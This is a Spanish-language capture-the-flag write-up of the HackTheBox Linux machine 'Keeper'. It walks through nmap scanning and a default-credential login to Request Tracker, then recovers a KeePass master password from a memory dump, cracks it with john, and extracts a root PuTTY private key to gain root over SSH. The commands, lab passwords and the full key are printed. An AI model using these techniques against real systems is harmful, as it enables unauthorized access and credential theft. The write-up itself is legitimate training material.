Keeper es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Keeper 10.129.204.120 a /etc/hosts como keeper.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.204.120 Nmap scan report for 10.129.204.120 Host is up, received echo-reply ttl 63 (0.053s latency). Scanned at 2023-08-12 18:55:10 GMT for 15s Not shown: 64877 closed tcp ports (reset), 656 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Aug 12 18:55:25 2023 -- 1 IP address (1 host up) scanned in 15.18 seconds |
Una vez descubiertos los puertos escaneamos más a fondo los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.204.120 Nmap scan report for 10.129.204.120 Host is up (0.047s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3539d439404b1f6186dd7c37bb4b989e (ECDSA) |_ 256 1ae972be8bb105d5effedd80d8efc066 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Aug 12 18:56:05 2023 -- 1 IP address (1 host up) scanned in 10.45 seconds |
Enumeración
Accedemos al portal web en el puerto 80 y vemos un enlace que nos lleva a otra página

Así que vamos a la misma y nos lleva a un nuevo subdominio que añadimos al fichero hosts
|
1 |
tickets.keeper.htb |
Volvemos a acceder y vemos un portal de login de la herramienta de ticketing Request Tracker

Probamos el acceso con las credenciales por defecto
|
1 |
root:password |
Y estamos dentro.

Revisamos que hay en el mismo y encontramos una password en un comentario del usuario lnorgaard

Obteniendo la flag de user
Con la password entramos por ssh y tenemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ ssh lnorgaard@keeper.htb The authenticity of host 'keeper.htb (10.129.204.120)' can't be established. ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'keeper.htb' (ED25519) to the list of known hosts. lnorgaard@keeper.htb's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage You have mail. Last login: Tue Aug 8 11:31:22 2023 from 10.10.14.23 lnorgaard@keeper:~$ id uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard) lnorgaard@keeper:~$ cat user.txt f87bc88acfcf7a0610ce44b7741bdec7 lnorgaard@keeper:~$ |
Escalado de privilegios
Revisamos la home del usuario y encontramos un zip interesante
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
lnorgaard@keeper:~$ ll total 85384 drwxr-xr-x 4 lnorgaard lnorgaard 4096 Jul 25 20:00 ./ drwxr-xr-x 3 root root 4096 May 24 16:09 ../ lrwxrwxrwx 1 root root 9 May 24 15:55 .bash_history -> /dev/null -rw-r--r-- 1 lnorgaard lnorgaard 220 May 23 14:43 .bash_logout -rw-r--r-- 1 lnorgaard lnorgaard 3771 May 23 14:43 .bashrc drwx------ 2 lnorgaard lnorgaard 4096 May 24 16:09 .cache/ -rw------- 1 lnorgaard lnorgaard 807 May 23 14:43 .profile -rw-r--r-- 1 root root 87391651 Aug 12 21:14 RT30000.zip drwx------ 2 lnorgaard lnorgaard 4096 Jul 24 10:25 .ssh/ -rw-r----- 1 root lnorgaard 33 Aug 10 13:52 user.txt -rw-r--r-- 1 root root 39 Jul 20 19:03 .vimrc |
Y si revisamos el contenido del mismo encontramos un fichero de keepass y un dump de memoria
|
1 2 3 4 |
lnorgaard@keeper:~/test$ unzip RT30000.zip Archive: RT30000.zip inflating: KeePassDumpFull.dmp extracting: passcodes.kdbx |
Así que descargamos en nuestra máquina y buscamos en google, encontrando una forma de obtener en claro la password de keepass gracias al dump de memoria
Y para ello utilizaremos la herramienta keepass password dumper que se encuentra en github.
La descargamos y ejecutamos con dotnet
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ dotnet run files/KeePassDumpFull.dmp Found: ●●d ... Password candidates (character positions): Unknown characters are displayed as "●" 1.: ● 2.: ,, l, `, -, ', ], A, I, :, =, _, c, M, 3.: d, 4.: g, 5.: r, 6.: ● 7.: d, 8.: , 9.: m, 10.: e, 11.: d, 12.: , 13.: f, 14.: l, 15.: ● 16.: d, 17.: e, Combined: ●{,, l, `, -, ', ], A, I, :, =, _, c, M}dgr●d med fl●de |
Y encontramos unos posibles candidatos para la password. Probamos varias cosas en este punto y nada parece funcionar así que vamos a google y encontramos una receta danesa cuyos caracteres coinciden

El nombre de la receta podría ser la password, así que hacemos un pequeño dict y ejecutamos john para validar
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ john hash -w=pass.txt Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 60000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status rødgrød med fløde (?) 1g 0:00:00:00 DONE (2023-08-13 07:03) 4.545g/s 4.545p/s 4.545c/s 4.545C/s rødgrød med fløde Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Como la password es válida utilizamos la tool kpsh para acceder al keepas y obtener su contenido y conseguimos una clave ssh en formato putty
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
$ kpsh passcodes.kdbx passcodes.kdbx> unlock Database password: ***************** passcodes.kdbx> ls Network/Ticketing System Network/keeper.htb (Ticketing Server) Recycle Bin/Sample Entry Recycle Bin/Sample Entry #2 passcodes.kdbx> show Network/Ticketing System Entry not found: Network/Ticketing passcodes.kdbx> show "Network/Ticketing System" path: Network/Ticketing System username: lnorgaard password: Welcome2023! notes[1]: http://tickets.keeper.htb passcodes.kdbx> show "Network/keeper.htb (Ticketing Server)" path: Network/keeper.htb (Ticketing Server) username: root password: F4><3K0nd! notes[1]: PuTTY-User-Key-File-3: ssh-rsa notes[2]: Encryption: none notes[3]: Comment: rsa-key-20230519 notes[4]: Public-Lines: 6 notes[5]: AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D notes[6]: 8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T notes[7]: EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM notes[8]: Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu notes[9]: FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ notes[10]: LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et notes[11]: Private-Lines: 14 notes[12]: AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j notes[13]: oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih notes[14]: kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY notes[15]: f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT notes[16]: VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz notes[17]: UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs notes[18]: OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz notes[19]: in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r notes[20]: SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV notes[21]: 09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa notes[22]: xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA notes[23]: AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD notes[24]: AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy notes[25]: NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is= notes[26]: Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0 passcodes.kdbx> |
Obtenemos la misma y la convertimos al formato de openssh
|
1 |
$ puttygen root.ppk -O private-openssh -o root.pem |
Obteniendo la flag de root
Una vez convertida, accedemos por ssh con root y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ ssh -i root.pem root@keeper.htb Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings You have new mail. Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41 root@keeper:~# id uid=0(root) gid=0(root) groups=0(root) root@keeper:~# cat /root/root.txt 09f23e4da407be0d85a244fd00adc4bd |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










